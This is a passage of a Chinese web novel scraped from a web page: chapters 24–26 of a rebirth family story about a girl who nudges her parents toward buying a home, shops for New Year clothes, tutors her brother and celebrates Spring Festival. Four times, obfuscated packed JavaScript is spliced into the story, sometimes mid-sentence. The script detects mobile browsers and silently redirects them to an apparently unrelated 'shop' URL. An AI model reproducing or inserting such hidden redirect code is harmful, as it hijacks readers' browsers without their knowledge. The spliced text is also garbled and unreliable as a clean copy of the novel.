d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628153|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不肯过去伺候她还有你弟一家，就天天上门咒骂我。我跟你说，你要是想当孝子，你就自己过去！别想让我去，也别想让孩子去！” 果然又是这样。 筱芫低着头，面无表情地想着，要是她的人生也是一部种田小说的话，她奶奶应该就是全文前半部分里最大最讨人厌的极品。 她从开始记事起，就知道奶奶不喜欢他们家，最简单直白的例子就是，他们几姐弟和堂兄弟妹们一起向她问好，她只会搭理堂兄弟妹，看都不看他们几姐弟；有十颗糖的话，她会给堂兄弟妹一人分一颗，多的也不给他们几姐弟，自己收起来。 几次亲眼看到奶奶用各种恶毒的话咒骂老妈和二哥后，筱芫对她就只有讨厌的感觉，完全没办法把她当成长辈去尊敬。哪怕过了十几二十年，奶奶拿着菜刀冲进家里，说要教训老妈的场景，依旧是筱芫心底挥之不去的阴影。 偏偏老爸在如何对待爷爷奶奶那边的问题上，总是特别愚孝，不管奶奶骂多难听的话，怎么偏心眼到咯吱窝，他都依旧坚持逢年过节要老妈准备钱和鸡鸭鱼肉等东西送过去，他们几姐弟也得去问好、陪爷爷奶奶说话，甚至很多时候只要奶奶开口，老爸还会比叔伯们出更多钱，然后让家里省着花钱。 筱芫还记得，有一年老爸出事，叔伯们没有一个人帮忙，奶奶还天天上门骂老妈丧门星、害了老爸；他们那年过年的时候，连肉都吃不上，只能喝粥配咸菜了，结果老爸被证明是无辜的放出来后，重新去工厂工作没多久，一听奶奶哭惨，就又把刚拿到的工资给了奶奶。 “哎呀，小孩不懂事，你也不懂吗？我们不准备东西，没送去，那不是落人口舌，外边人家会说我们不孝！实在不想待那，送了钱和东西过去，就立刻回来不就好了。”褚父对上褚母的时候，语气就弱了许多，但话里的意思不变，“我只是不想被别人说而已。不然就让大妹去，阿妈不是挺喜欢大妹吗？” 褚母绷着脸，沉默了半晌，还是如同之前许多次那样妥协了：“我会准备好东西，你自己要拿多少钱给你爸妈你自己准备，反正家里的钱都是你拿着的，我想管也管不了。你最好记得留些给家里，家里过年要用钱，明年几个孩子开学也要钱，别没钱还充冤大头。” 筱芫努力平息着心里不快的情绪，然后装作懵懂地问道：“啊？爸，那我们家还有钱吗？要过年了得买新衣服，过年的菜和肉都好贵好贵的，你刚才又说要买摩托车和给家里装电话，这些要多少钱啊？我投稿赚的钱，还有考第一名才拿回来的钱都拿出来够用吗？” 她说着装作可惜地叹了口气，“我本来还想把钱都存着，等存够了就可以给家里买一个房子的……我同学他们家里都有自己的房子。现在看来只能晚两年了，到时候不知道房子会不会变得很贵，还能不能买得起。” 24. 讨论 第二十四章讨论买房 褚父的神色微微变了下，皱着眉从身上拿出信封给褚母：“别瞎想，买房怎么可能用你小孩子的钱。而且买房子哪是那么简单的事，这钱你要给你妈留着就留着，过年要用的钱还有你们几姐弟明年的学杂费，我会安排开来的。” 他知道小女儿的投稿得的稿费都放在她妈那里存着，虽然心里有点不舒坦，但也不至于计较；毕竟小孩子的钱，他也确实不好意思用。不过学校退回来的学杂费借读费不一样，所以他本想自己拿着的。现在小女儿都这么说了，他只好都给她妈拿着。 “没事啊，我也想咱们家早点有自己的房子。”筱芫有意想让老爸老妈知道今早买房的好处，于是绕着弯，借用自己去省城的经历，把上辈子房价猛涨、现在越早买房越省钱的信息说给他们听，“我听那个旅店的老板娘说，现在多买几栋楼，以后不用工作，单靠房租就能月入过万呢。还有把买房子当投资的，说是炒房。” 这个数字还是她刻意往小了说，免得反而让老爸老妈觉得是骗子随口说的大话。 但老爸老妈还是被吓到了，连之前的不快都暂时忘了，满脸震惊地四处张望了一下，压低声音确认道：“真的有这么厉害？这租房子，一个月租金最多不就两三百，是因为省城的房租高吧？” “真的有！省城房子肯定比咱们这儿贵，可房价全国都是在涨的，早买了怎么都不会亏。而且认真算算，咱们家的房租一个月是……”筱芫不确定地看向老爸老妈。 老妈想都不用想直接说了个数，算了一笔账之后立刻信了她的话，开始盘算起来：“一年两千四，人省城的房租至少要翻两三倍，那要是有两栋楼房，一个月上万还真不算什么。细妹的稿费和比赛、考试学校发的奖金，合起来有一万七了，再凑多点，应该在这买套房子，或者自己买点地方建一栋三层楼是够的。” “唔……现在这里房价怎么样，我也不知道，能不能买还不好说。我明天去找人问问看吧。”老爸却还是有点犹豫不决， “明年再看吧。要过年了，要买衣服买东西，过了年买了摩托车、装了电话，留出你们姐弟读书的钱，还要交房租水电费，也没有余下多少钱了。而且，用小孩的钱买房子，别人知道了得怎么看我？我丢不起那面子。” “面子面子，你妈跑到咱家门口咒骂你老婆孩子的时候，你怎么不觉得丢面子出去阻止你妈？哦，敢情你觉得自己不出去，丢的就不是你的面子，丢人没面子的就是我了是吧？”老爸的话又激起了老妈的火气，她“啪”地一下重重放下筷子，突突突地发泄了一通。 “我不是这个意思。算了算了，你觉得怎么样就怎么样吧。明明是在说买房的事，好端端地怎么又扯到……” 筱芫听到老爸这么说都觉得不舒服，更别说老妈了，为了避免越和老爸说老妈越生气，她提高声音打断老爸的话：“爸，你这么想就不对了。” 见老妈老爸的注意力都被自己吸引过来了，她心底微微松口气，接着说出一个假设情况：“你们要是听到谁家孩子给他们家里买了房，难道会觉得那孩子的爸妈没本事没用吗？还是觉得那孩子的爸妈真有福气，会养孩子，心里羡慕？” 老妈老爸还有大姐二哥想了想，都摇了摇头，然后又点了点头。 筱芫紧接着下结论：“所以用我的稿费奖金买房子，不仅不会让老爸你丢面子，相反，这还是能让你在别人那长脸面的事。” 看到老爸迟疑了一会，脸上很快露出笑意，她就知道老爸的想法是转过弯来了。 想到爷爷奶奶那边，筱芫觉得还需要敲敲边鼓，免得老爸又先和那边说，到时候奶奶说不定会闹着要房子要钱，想想就麻烦到令人窒息。于是她对大姐二哥眨眨眼，然后像是担心什么事一般犹豫道： “不然还是算了，爸你的钱还要给爷爷奶奶，奶奶住小叔那，你还要给钱给小叔。咱们家要是真买了房子，他们会不会觉得爸你藏了钱，以后跟你要更多钱啊？我的稿费奖金不想给他们……” 她越说声音越小，像是害怕老爸不高兴，还“小心地”瞄了一眼老爸的脸色。 接收到细妹的眼神示意，褚维江猜出细妹的意思，立刻阴阳怪气地说道：“奶奶那样的人，会只要钱？嗤，更可能的是她房子和钱都要，而且她不喜欢咱们家，还会想把咱们撵出去，让四叔小叔他们家住进去呢！咱爸那么……” 褚希桦怕他再说下去会又惹怒褚父，连忙拉了他一下，摇摇头让他差不多就行了，别继续说。 褚父沉默了好一会，掏出口袋的烟和打火机，把烟放到嘴边，停了一会，又收了起来，叹气道： “我知道了，你爸我就算傻，也还没傻到连自己的房子都让给别人的地步。买房子的事谁都别说出去，买了以后，你奶奶他们要是问起来，我会说是跟别人借钱买的。你们自己别说漏嘴了就行。” 几姐弟对视一眼，异口同声道：“肯定不会！” 得到褚父这话，褚母虽然还有点怀疑他能不能说到做到，但总归消了些气，脸上有了点笑意，提醒褚父：“那就这么定了，年后你找人问问买房的事，别找那些跟你兄弟认识的人。平时你也别老是大手大脚花钱、请人吃饭馆，看看明年能不能买房。” 褚父又叹了口气，点点头：“知道了知道了。朋友间的应酬有时还是要的，我会看着办，尽量不去、少请几次。”说完，他就拿着烟离开饭桌，去了客厅。 感觉已经得到了满意的结果，筱芫就没再继续，怕说太多老爸又会发火，然后和老妈争执起来闹个不可开交。 现阶段她就希望能慢慢对老爸施 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628154|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加某些观念上的影响，让老爸潜移默化地改变一些想法，比如愚孝、比如认为女人就该带孩子做家务等。 上辈子她就是从小给老爸老妈说不嫁人不生孩子的想法，并且结合时事实际，成功改变了他们“女孩子三十岁前必须结婚生子”的想法，争取到了自由和父母的理解支持，甚至老爸老妈后来还说要把买的房子留给她。 当然，老爸老妈支持她不结婚也可以，还有一部分原因是大姐二哥结婚后的一地鸡毛，让老爸老妈都承认了她的想法是对的——为了结婚而结婚，只会变得不幸。但从结果上来说，灌输新观念新思想给老爸老妈，是十分可行有效的。 这个过程可能没那么快，但她很有信心，毕竟重生后她已经比上辈子更早拿到了第一笔稿费，家里也改变了很多。 筱芫一边帮忙收拾碗筷，一边信心十足地想着，然后刚要端着碗去地上洗碗，就被老妈和大姐拦住了：“你去看书学习、写作文吧，要是累了先洗澡休息也好。” 怎么都挤不进洗碗行列的她只好无奈放弃，回房间考虑了五分钟是要做奥数练习题，还是做寒假作业。 忽然，筱芫看到了矮桌上的《小贝流浪记》，一下子想起了前世未竟的梦想。于是，她翻出笔记本，构思片刻，再结合她对现在热门小说的认识，写起了重生后的第一本小说——《灰姑娘的十二骑士》。 按照十几年后的眼光来看，这名字俗，故事也俗套，但是放到现在却是刚好，两三年后的小说杂志都差不多是这种套路。实现梦想前，还是赚钱更实际。她很庸俗地想，一边写一边唾弃自己。 第二天，筱芫早上依旧和李琪她们一块写寒假作业，下午要去买新年的衣服，所以原本一起出去逛书店和文具店的打算只能暂时取消。 褚母早上已经先去买好了新年要用的其他东西，比如春联、年货之类的，还买了做粿的材料，准备晚上来弄。 吃完午饭，褚母就催着他们出门了。要买的衣服多，不快一点，回来就晚了，而且早点去，人不会太多太挤。 只是没想到，尽管他们已经提早出发了，可到了卖衣服的市集，放眼望去已经是人山人海，平时完全感觉不到这里有这么多人。 筱芫对人群熙熙攘攘的场景有点犯怵，总觉得不安全。 但是褚母急着早点买好衣服，也没留意到她的神色，提着声喊了句：“大妹江儿你们跟紧我，不要走散了！”然后左手拉着筱芫，右手牵紧小儿子，气势汹汹地扎进了人群，直奔第一家店。 挤进店里，早已忘了二十年前过年买衣服是什么场景的筱芫就绝望地发现，店里比外边人还要多，闹哄哄的，连哪个人是店主都不知道。所有人都是扯着嗓子喊话的——“这件衣服还有其他颜色吗？”“好像不太好看，多少钱？！能不能便宜点？” 25. 辅导细弟学习 第二十五章炒菜 褚母对于此种场面已经十分熟悉，往店里打量一圈，锁定目标后，交代好大妹两姐弟看好两个小的，自己冲进人群，不到十分钟，就“抢出”自己看好的几件衣服，往他们几姐弟身上比划。 “这件衣服还可以，颜色也挺鲜亮的，显白，细妹穿着好看；还有大妹，这件是挑给你的，你试试看喜不喜欢。” “大弟和细弟的这两件……不行好像太大了一点。” 褚母一边比划一边说着，准备把觉得不太合意的两件放回去，不知道什么时候出现在旁边的老板娘突然出声道：“太大了可以换小一码啊，我现在就去帮你们拿，等一会啊。” 说着她就要钻进人群，去墙角那边，褚母连忙喊住她：“诶诶诶，先等等！这两件衣服多少钱？一件三十一件四十行不行？” “阿姐啊，这两件衣服这么好的质量，你看看这布料这做工，三十四十卖你的话我要亏本亏死的！不行不行，这样吧，这两件衣服原价是八十和一百，我给你最优惠，六十、七十五，两件一起再便宜你五块钱。怎么样？”老板娘说着就拿袋子准备替他们装起来。 筱芫和褚母同时出声阻止道：“不要不要！（太贵了，不行不行！）” “妈，还是算了吧，我也没那么喜欢这件，我们去别家看吧。”褚希桦听到褚母和老板娘的对话，摸了下身上试穿的衣服，抿了抿嘴，立马换下衣服说道。 看他们真的说不要就准备走出店门，老板娘连忙改口：“哎呀，好吧好吧，就三十和四十，我真是亏大了，没有哪家的价格比我家的要更实惠了。那另外两件还要不要？我去拿小一码的过来？” “先拿来看看吧，我让两兄弟试试，好的话再说。”褚母说得含糊，只是先把看好的两件衣服买了下来。 就这样，一个下午的功夫，在褚母的带领下，成功地将他们几姐弟新年的全身新衣服新鞋子都买齐了。 筱芫看逛了一下午，老妈都没有给自己看一下新衣服的意思，忍不住问道：“妈，别只给我们姐弟看衣服买衣服啊，你自己的衣服还没买呢。我们去看看有没有好的，买了再回家吧？” 大姐二哥也在旁边点头赞成。 老妈却不同意，她看了看已经变阴的天色，摆摆手拒绝道：“我明天跟你爸一起来买就好了，现在先回家。” 不管他们几姐弟怎么说，老妈都坚决地带着他们回家了。筱芫没办法，只好琢磨着如果明天老妈没去买新衣服，自己是不是和李琪她们出去的时候，找机会去给老妈买。 只要不是一个人，应该没事的。 过多的想法让她晚上进空间的时候，思绪还是漂浮的。 在做了大概十来道纯计算的题后，筱芫遇到了一道需要费些心思，才能找到答题思路的题，这时，她才惊觉自己又在学习的时候注意力不集中了；于是赶忙调整状态，将无关学习的事都先放到一边，重新开始做奥数习题。 她下学期想尝试一下奥数比赛，作文比赛学校给的奖金让她尝到了甜头，也有了更多妄想，奥数比赛就是她下一个目标。因为奥数比赛更受重视，学校给的奖金更多。 当然，参加的人也更多更厉害，所以为了能得到代表学校参赛的机会，筱芫觉得她得更努力，刷比其他人更多的题才行；凭借着重生和空间，试试笨鸟先飞。 遥记得上辈子，她小学也参加过学校的奥数班，三四年级的时候还能勉强跟上其他人，到了五年级就完全听不懂也看不懂题目了；看到别人轻而易举地做出自己绞尽脑汁都没看懂的题目时，她心里的挫败感尤为强烈。 数学跟文科学科不同，是很吃天赋的，尤其是在学科竞赛和进一步学习研究上，有没有天赋就是最残忍而直接的第一道关卡。而她已经是在上辈子尝试过，被印证是没有天赋的那类人。 以上总结起来，她要想拿到奥数比赛的奖金，最好的时间就是下学期和四年级，不妄想省级的，市级的就好。 筱芫专心做着题，遇到不太确定自己思路是否正确的题就做标记，没有停留，继续往下；最后一套题做完，才返回去慢慢思索，然后看答题解析的思路，和自己的相对照，划去多余繁琐的部分，再重头整理一次，慢慢把其吸收成自己的。 沉浸在题海中，她一个没留神，外头已经天亮了。她刚出空间，就听到老妈和大姐的对话： “细妹还没起吗？” “嗯，是啊，妈。细妹可能是昨天走累了。” “那就让她多睡会，反正不用上学。中午你们几姐弟自己煮来吃，我中午就不回来吃了，在工厂里吃。晚上你们先下米煮饭，我和你爸下工后要去买衣服，可能要晚一点。” 听到老妈说要去买衣服，筱芫稍微满意了些，只要老妈是真的跟老爸一块去买衣服，那肯定不会没买衣服就回来；毕竟老爸看重面子，肯定不会让老妈为了省钱，连件新衣服都不买。 于是，她心里不再惦记着给老妈买衣服的事，起床洗漱、吃完早饭后，就开始准备辅导细弟学习的资料。这几天李琪她们也都要去买新衣服，没有时间一起写寒假作业，所以约好了过两天再一起写。 为了能尽可能地提升细弟对学习，尤其是语文英语这两个学科的兴趣，筱芫不能像自己学习复习那样，枯燥地看书刷题，得有选择性地向细弟输入，同时还要注意不失趣味。 说实话，实际操作起来有点麻烦。但是想到上辈子有什么好吃的、好喝的、好玩的都会下意识分给自己一半的细弟，她又觉得没问题了。重生回来一世，要是不能帮着改变家人的遗憾，岂不是浪费！ 正好当作多复习一次，筱芫给自己打打气，再一次看起了自己整理的小学知识点复习大纲。 “细妹，我们中午吃昨晚剩的冷菜，然后再炒个白菜好不好？”忽然，她听到大姐在厨房那边问她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628155|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 筱芫一看挂在客厅的时钟，原来都已经十一点四十分了，忙放下笔，边走向厨房边回答道：“好啊，随便吃就可以了。二哥和细弟呢？” “你二哥他跟同学出去玩了，说可能会去同学家吃，不回来吃饭。细弟说想吃炒火腿肠，待会我切两根火腿肠来炒。”大姐说着，手里择菜的动作没停，没一会就择好了。 筱芫看了看煤气灶上已经煮好饭的饭锅，回过头对大姐说：“那肯定够啦，咱们三姐弟哪里吃得了那么多。” 想到上辈子第一次炒菜就是炒的白菜，而且没炒熟还烧焦了一点，她突然有点想中午的菜由她来炒。 好歹上辈子后来她的厨艺已经进步了非常多，老爸老妈也夸过，这次她有信心，绝对不会失手！ 想到就做，她立刻跟大姐说了。大姐犹豫片刻，然后在她的一番恳求下，还是让出了“主厨”的位置，怕她个子不够拿不到锅铲，大姐还给她搬了张矮凳子让她站着炒。 筱芫站到凳子上，按照自己的习惯先冲洗了一遍锅和锅铲，把煤气灶的火调整为中小火，让炒锅表面没有一点水，将锅铲上的水甩干，避免一会倒油进锅的时候“噼里啪啦”地油点四溅。 然后就是倒油，感觉油温差不多的时候把白菜倒进锅里，下盐，火调大，迅速翻炒几遍后，加一点水煮一会，最后下味精，用锅铲再翻一下，就可以关火装盘了。 完美！没有烧焦！自觉很满意的筱芫十分积极地邀请大姐试一下，自己也夹了一片菜入口：“我看咱妈就是这么炒菜的，应该没有漏了什么吧？” 大姐夹起菜，还没吃，就竖起大拇指夸她：“细妹真厉害，第一次炒菜就有模有样的，比我好多了。” 菜一入口，咸得厉害，筱芫猛地皱眉，硬着头皮吞下菜之后，立刻阻止大姐试吃：“不要吃了大姐，太咸了，要不要重新倒回锅里加点水再炒一下。”这是她上辈子炒菜炒咸了的做法，熟练得不经大脑便脱口而出。 “呃？妈是那么做的？不是直接倒掉菜汤再倒点温开水拌一拌吗？”大姐听到她那么说，奇怪道。 筱芫僵住了一秒，然后装作自然地解释道：“不是，我是听我同桌说的。原来咱妈是这么做的啊，那就这样试试吧。不然太咸了没法吃。” “没关系啦，你才多大，第一次炒菜只是咸一些很不错了。”大姐安慰她。 “嗯嗯。”她胡乱点头答应着，“我去喊细弟来吃饭！” 今天是周日，幼儿园不上课，细弟还在睡懒觉不肯起，筱芫“威逼利诱”地费了好半天劲，才让他起床洗漱。 等她重新到饭桌边时，大姐已经炒好了一小碗火腿肠，装好了饭，在等他们一起吃了。 “细弟，你之前答应我要跟着我学习一年级的课，还记得吧？下午我们就先试试，我得先看看你是不是能做到你自己说的。”吃饭的时候，筱芫没忘记自己今天的安排，提醒细弟道。 26. 新的一年 第二十六章拜年和压岁钱 细弟果然有点后悔了，“啊”了好长一声，但是最后还是答应了。 吃完饭，筱芫开始带着细弟学习。 为了让他能学得进去，筱芫是用讲童话故事的方式教他，时不时还用他喜欢看的动画片比如葫芦娃之类的里头的角色语气来说。 一个下午下来，效果似乎还不错，至少细弟很乐意学，教的拼音汉字和十个英语单词他也都记住了，老爸老妈买完衣服回来的时候，他还在自己没事背着玩。 老爸老妈对此很是高兴，表扬了一下细弟，然后夸她聪明，还能教人学习，以后可以当老师。 筱芫摇摇头，认真道：“爸，妈，我不想当老师，我想写小说，做编剧，然后由我自己出钱，把自己的小说，还有喜欢的小说统统拍成电影电视剧。” “……”褚父褚母不太理解编剧是做什么的，但是他们觉得小女儿这个想法，一听就不太现实、不靠谱。 出钱拍什么电影电视剧的，那不得是大老板才能有那个钱。当老师多好，人人尊敬、稳定又清闲、每年还有寒暑假，所以沉默了一会，褚母低声劝道，“细妹，咱们心不要这么大，还是脚踏实地一点比较好。” 褚父摇摇头，也说：“当大老板哪有那么容易？都想当大老板挣大钱，你爸我也想。可就算是这里那些工厂老板，没人脉没资本没门路，生意怎么做得起来？” 把自己想法说出来的时候，筱芫也想过老爸老妈他们多半会是这种反应，所以也不怎么觉得失望，也没有反驳他们的话。不是被说服了，相反，她更有冲劲去实现自己那个目标了。 不过，那都是以后的事，现在的她，依旧是需要每天刷题写寒假作业的小学生，学习才是眼前最重要的事；她分得出轻重，也知道不能沉浸在白日幻想里，浪费时间。 于是，这个晚上她依旧是在空间学习中度过。 她先把初中物理、化学和生物的课本全都看一遍，然后试着做课后练习题，一旦有不懂的或者对答案犹豫的，就先回过头把涉及到的知识点章节再重新看两遍，将涉及到的理论或者公式抄录到笔记本上，反复记忆。等彻底记熟吃透后，再重做一次之前不懂犹豫的练习题。 初中的物化生相较高中而言，是比较基础的，就跟小学一二年级的语文数学、三年级的英语一样；可算上这辈子，已经十多年没接触物化生的她，跟从来没学过也没什么差别了，所以看完一遍就开始做题，被题目难住的次数特别多。 这是她重生之后，很少出现的情况，即使有心理准备，筱芫还是有那么一点烦躁。 她一会坐立不安地把练习题翻过来翻过去，像是浑身有虫子咬似的，挠这挠那；一会儿想要出空间、不想再看一眼练习题。 因为之前打下的良好学习习惯，筱芫克制住了脱离空间的冲动，没有继续做题，但依旧坚持继续看物化生的理论知识和各种公式等，让自己尽可能地全神贯注，在看书的过程中恢复平静沉着的心态。 慢慢地，不知过了多久，她整个人完全沉浸在了课本里，竟在枯燥的理论和公式中品出了一丝趣味，不再觉得身上哪里痒痒，想抓挠，脸上的热意也退散了。 接下来的日子里，筱芫过得十分充实，每天早上和李琪陈欢还有文悦一块做寒假作业，下午带着细弟学习，晚上写一点准备投稿到短篇小说杂志的小说，差不多时间就洗漱上床，到空间学习初中的九门课程，重点是数学和物化生。 就这样，很快就到了大年三十除夕夜。 除夕晚上，按照老家那边的习俗，老爸特意找族里的叔公问了好的时辰，在下午三点开始吃年夜饭。年夜饭是一年里他们家最丰盛的一顿饭，所以大家都特别高兴。 筱芫很怀念也很喜欢现在的这种浓厚的年味，上辈子大家年夜饭都经常凑不齐一起吃，饭桌上的氛围也冷冷清清；因为经济好了，平时也吃得好穿得好，对于过年好像就没什么期待了。还是现在热闹，尽管经济不宽裕，但一家人聚在一起开开心心的，脸上都带着喜气。 吃完年夜饭，一家人轮流去洗澡换上新衣服，然后围坐在客厅里，守着电视机。等着看春节联欢晚会。 这会儿的春晚还没有十几年后那么多花样，等待春晚开播前也还没出现什么彩排实况转播、砸金蛋之类的，只有去年的春晚重播。 但是即便画面清晰度不高，大家也都看得津津有味。筱芫重生前已经好久没看春晚，也好久没看春晚的小品看得哈哈大笑了。 而现在她看前年去年的春晚小品，却总是被逗乐，尤其是本山爷爷和丹丹老师这一经典组合的小品《钟点工》，她白天都看了几遍了，再看还是忍不住捧腹大笑；“你不要以为你脱了马甲我就不认得你了”这样的经典台词，在这几年的春晚小品里更是多得很。脱马甲这个梗，饶是十几年后，都还是热词热梗，常被用在各种段子或者网络小说里。 很快，外头天已经完全黑了，伴随着外头传来的阵阵鞭炮声，八点到了。 在两位身着喜庆红色礼服的主持人激昂澎湃的开场台词中，春晚准时拉开了序幕。 春晚开始开场歌曲的时候，筱芫收到了来自老爸老妈的压岁钱红包。 “老妈（老爸）祝你们几姐弟身体健康、大吉大利、学业进步，下一年都考出好成绩！”老爸老妈一边把红包和一对桔子塞到他们手里，一边说着祝福的吉祥话。 筱芫抱着桔子，和大姐二哥细弟一起向老爸老妈回吉祥话：“我们几姐弟也祝爸妈身体健康、万事顺意、大吉大利，明年赚大钱行好运！” “好好好！齐家都平平安安、顺顺利利！”老爸老妈都笑眯眯的，看起来心情都十分不错。 虽然这会收压岁钱就是走个流程，最后钱都是给老爸老妈收着的，但筱芫还是有种特别的满足感。 一家人就这么围坐着，边吃瓜子干果，边看春晚，时不时还评价讨论几句，不知不觉中，就到了零点；他们和电视里同时开始倒计时： “十——九——八……四——三——二——一！零！新年快乐！” 在零点倒计时结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628156|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束的同一时间，外头又一次传来“噼里啪啦”“噼里啪啦”的鞭炮声，其中似乎还夹杂着孩童的笑闹声。 新的一年开始了。 听到外边热闹的动静，细弟先忍不住说要出去玩，筱芫和二哥也看向老爸老妈。老爸老妈想了想，只允许他们在家门口玩，毕竟再热闹，现在也太晚了。 筱芫想了想，没出去，只坐在客厅外的天井里，望向黑漆漆的天空，想着自己重生回来后做的事，想着新的一年她要做什么。 02年家里最大的一件事，应该就是二哥回去老家上初中了；如果买房的事情能顺利，二哥也许能不用回去？ 爷爷奶奶那边总是来找他们家的麻烦，又要怎么解决才好呢？ 筱芫觉得就算老爸醒悟过来不再愚孝，也不可能彻底和爷爷奶奶、以及那边的亲戚决裂、彻底分开。要是真的那样做了，老妈反倒会成为众矢之的、被所有人指责行事太过、毫无孝道，连带着外公外婆都会受到非议。 所以，还是得想一个温和一点、能让自家站在道德制高点且行之有效的法子才行。毫无头绪的她琢磨着，是不是应该去看些极品出没最多的种田小说之类的取取经？ 她还在沉思着，老妈已经开始催到门外玩的细弟和二哥回来睡觉了。听到老妈说明天早上起来吃早饭的时辰定好了，是四点半，必须起来不能晚起，筱芫瞬间回神，当即决定今晚继续在空间学习，把初中的物化生彻底吃透、开始刷题！ 之前她坚持看不下书也要沉下心硬看、并且把所有原理公式死记硬背下来的方法，虽然很笨，但对她而言效果可谓是立竿见影。 如今她再重新看物化生的课本，就能感受到脑子很清醒，思维也逐渐变得清晰，不再是一团浆糊，什么都看不明白了。所以看完一遍课本，她心里就有了把握，接着进行刷题。这次刷题时，她终于不用隔一会就停下来翻之前的章节知识点，有了一点在做数学练习题时的手感。 这种类似突破的感觉，让筱芫她有些沉迷；于是，做题做得忘我的她，直到大姐喊了她好几次，才慢慢从题海中抽身出来，离开空间起床。 外头这会还没天亮，所以屋里都开着灯。 大年初一的第一顿早饭按照传统规矩，是没有半点荤腥的，两个果盘、一盘子坚果糖果，还有两个素菜——炒葱蒜芹菜和花椰菜。 坐在饭桌上吃东西的时候，老爸忽然开口道：“你们几姐弟，下午去你小叔那，看望一下你们奶奶。好歹是过年，大年初一做孙子孙女的，于情于理都应该去给奶奶拜年。不要给人说嘴的机会。” “她要是不给你们压岁钱，你们也别摆脸色，别理她直接回来就是。咱们不稀罕她那几毛一块。”老妈虽然不太高兴，但没有反对，只是在老爸离开饭桌后，小声这么和他们姐弟说道。 筱芫心里对一会要怎么做有点想法，但是脸上并没有表现出来，只和大姐二哥一起点头答应。细弟还小，不太明白什么，只知道今天可以不用学习，还能出去玩，兴奋地拉着二哥就要出去，然后被二哥拉住。